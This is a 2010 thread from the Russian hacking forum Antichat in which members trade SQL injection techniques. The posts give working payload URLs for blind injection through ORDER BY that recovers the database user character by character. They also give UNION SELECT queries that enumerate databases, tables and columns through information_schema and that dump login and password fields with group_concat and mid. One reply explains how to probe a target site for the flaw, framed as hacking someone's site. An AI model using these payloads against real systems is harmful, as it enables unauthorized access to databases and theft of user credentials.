ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #141  
Старый 17.05.2010, 08:25
Аватар для [R]eD
[R]eD
Познающий
Регистрация: 01.08.2006
Сообщений: 35
Провел на форуме:
94171

Репутация: 3
По умолчанию

Цитата:
Сообщение от Dr.Z3r0  

3.6 Иньекция в операторе ORDER BY

Почему то у многих сложилось мнение, что это безнадежный случай. Ну что же будем менять это мнение на противоположное. Допустим к БД запрос выглядит вот так:
Код:
SELECT * FROM news ORDER BY $by
ну и как всегда бывает переменная $by не проходит фильтрации, а на странице выводятся несколько строк из БД. Что ж нам требуется получить два запроса, которые бы изменяли каким то образом вывод на страницу, но еще запросы должны быть такими чтобы можно было влиять на результат с помощью допустим подзапросов. Что же такими запросами могут стать
http://xxx/news.php?by=(id*1)
http://xxx/news.php?by=(id*-1)
Надеюсь как вы догадались в второй раз выборка пойдет "сверху вниз" относительно первого запроса, понять почему не сложно. Допустим в первый раз вывелось, примим это заистину:
Код:
Первая новость
Вторая новость
Третья новость
А во второй ложь:
Код:
Третья новость
Вторая новость
Первая новость
Ну чтоже запрос для брута имени текущего юзера будет выглядеть так:
http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),0,1))=112,1,-1))
Чтож вывелся обратный порядок новостей => ложь

http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),0,1))=113,1,-1))
Опять ложь

http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),0,1))=114,1,-1))
О! Прямой порядок новостей => истина
Переводим код символа 114 в символ r. Переходим к следующему символу и тд.
Я правильно понимаю, что в данном случае ничего кроме глобальных переменных вроде USER достать нельзя? Т.е. вытащить что-то из базы не возможно?



P.S.
В статье опячатка:
(id*IF(ASCII(SUBSTRING(USER(),0,1))=113,1,-1))
должно быть
(id*IF(ASCII(SUBSTRING(USER(),1,1))=113,1,-1))

Последний раз редактировалось [R]eD; 17.05.2010 в 08:27..
 
Ответить с цитированием

  #142  
Старый 17.05.2010, 10:54
Аватар для Ctacok
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696

Репутация: 2221


По умолчанию

Цитата:
Сообщение от [R]eD  
Я правильно понимаю, что в данном случае ничего кроме глобальных переменных вроде USER достать нельзя? Т.е. вытащить что-то из базы не возможно?
Можно всё, на что есть права.
 
Ответить с цитированием

  #143  
Старый 17.05.2010, 11:13
Аватар для [R]eD
[R]eD
Познающий
Регистрация: 01.08.2006
Сообщений: 35
Провел на форуме:
94171

Репутация: 3
По умолчанию

Цитата:
Сообщение от Ctacok  
Можно всё, на что есть права.
Можно пример запроса с SELECT'ом?
 
Ответить с цитированием

  #144  
Старый 17.05.2010, 15:56
Аватар для Twoster
Twoster
Reservists Of Antichat - Level 6
Регистрация: 20.08.2008
Сообщений: 328
Провел на форуме:
7144817

Репутация: 1503
По умолчанию

Цитата:
Сообщение от [R]eD  
Можно пример запроса с SELECT'ом?
пример с селектом тут - Тыц

З.Ы. Хватит засирать статьи!
__________________

You may say I'm a dreamer
But I'm not the only one
 
Ответить с цитированием

  #145  
Старый 22.05.2010, 06:09
Аватар для CTAPu4OK
CTAPu4OK
Новичок
Регистрация: 28.10.2008
Сообщений: 14
Провел на форуме:
92208

Репутация: 6
Smile

Цитата:
Сообщение от Pashkela  
Выложу и сюда, заманали уже просто с такими вопросами:



Узнаем все БД:

http://site.com/index.php?page=8&id=-11+union+select+1,group_concat(schema_name),3,4,5, 6,7,8,9,10+from+information_schema.schemata--

Узнаем таблицы из нужной БД:

http://site.com/index.php?page=8&id=-11+union+select+1,group_concat(table_name),3,4,5,6 ,7,8,9,10+from+information_schema.tables+where+tab le_schema='ИМЯ_БД'--

Узнаем колонки из нужной таблицы из нужной БД:

http://site.com/index.php?page=8&id=-11+union+select+1,group_concat(column_name),3,4,5, 6,7,8,9,10+from+information_schema.columns+where+t able_name='ИМЯ_ТАБЛИЦЫ'+and+table_schema ='ИМЯ_БД'--

Узнаем данные из нужной таблицы из нужной БД:

http://site.com/index.php?page=8&id=-11+union+select+1,group_concat(ИМЯ_КОЛОНК И),3,4,5,6,7,8,9,10+from+ИМЯ_БД.ИМЯ_ТА ЛИЦЫ--

PS: или убрать group_concat и юзать как обычно:

limit+0,1
limit+1,1
......

если было чото такое - удалите плз, поиском по сайту в FAQ-ах вроде нет, а спрашивают часто
Такое маленькое дополнение) group_concat имеет ограничение выводимости данных в 1024 + limit он не поддерживает, что бы обойти его нужно использовать mid

К примеру вот так:
587955+union+select+1,2,3,4,5,mid(group_concat(log in,char(38),password),600,1024),7,8,9,10,11+from+ аза.Таблица--

Последний раз редактировалось CTAPu4OK; 22.05.2010 в 06:12..
 
Ответить с цитированием

  #146  
Старый 12.06.2010, 11:48
Аватар для KizZz
KizZz
Новичок
Регистрация: 15.05.2010
Сообщений: 3
Провел на форуме:
17852

Репутация: 0
По умолчанию

я прочитал вроде понял)) но не понял одного ))) как её найти? что надо писать и где? и как? помогите бо реально туп !
 
Ответить с цитированием

  #147  
Старый 16.06.2010, 09:31
Аватар для Boa
Boa
Новичок
Регистрация: 30.05.2010
Сообщений: 25
Провел на форуме:
67694

Репутация: 5
По умолчанию

Цитата:
Сообщение от KizZz  
я прочитал вроде понял)) но не понял одного ))) как её найти? что надо писать и где? и как? помогите бо реально туп !
Допустим, ты ломаешь сайт qwerty.ru. Попал ты на страницу qwerty.ru/news.php?id=123. И чтобы проверить есть ли уязвимость, нужно подставить к значению id какой нибудь левый символ, например, кавычку: qwerty.ru/news.php?id=123'. Можно еще попробовать так: qwerty.ru/news.php?id=124-1. Как известно, 124-1=123 Если информация при таком URL выводится та же самая, что и при id=123, то практически наверняка уязвимость имеет место быть.

Последний раз редактировалось Boa; 16.06.2010 в 09:36..
 
Ответить с цитированием

  #148  
Старый 16.06.2010, 13:32
Аватар для Ins3t
Ins3t
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
Провел на форуме:
2083691

Репутация: 330
По умолчанию

Цитата:
Сообщение от Boa  
Допустим, ты ломаешь сайт qwerty.ru. Попал ты на страницу qwerty.ru/news.php?id=123. И чтобы проверить есть ли уязвимость, нужно подставить к значению id какой нибудь левый символ, например, кавычку: qwerty.ru/news.php?id=123'. Можно еще попробовать так: qwerty.ru/news.php?id=124-1. Как известно, 124-1=123 Если информация при таком URL выводится та же самая, что и при id=123, то практически наверняка уязвимость имеет место быть.
Глупости. Нe лeвый символ, a тот, которъй может вызвать синтaксичeскую ошибку в зaпросe.
 
Ответить с цитированием

  #149  
Старый 16.06.2010, 17:46
Аватар для Boa
Boa
Новичок
Регистрация: 30.05.2010
Сообщений: 25
Провел на форуме:
67694

Репутация: 5
По умолчанию

Ins3t, я именно такие символы и обозвал левыми)
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
SQL Injection: Modes of Attack, Defence, and Why It Matters bxN5 Forum for discussion of ANTICHAT 1 09.04.2007 19:07
SQL Injection FAQ bx_N Forum for discussion of ANTICHAT 2 08.03.2007 18:48
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ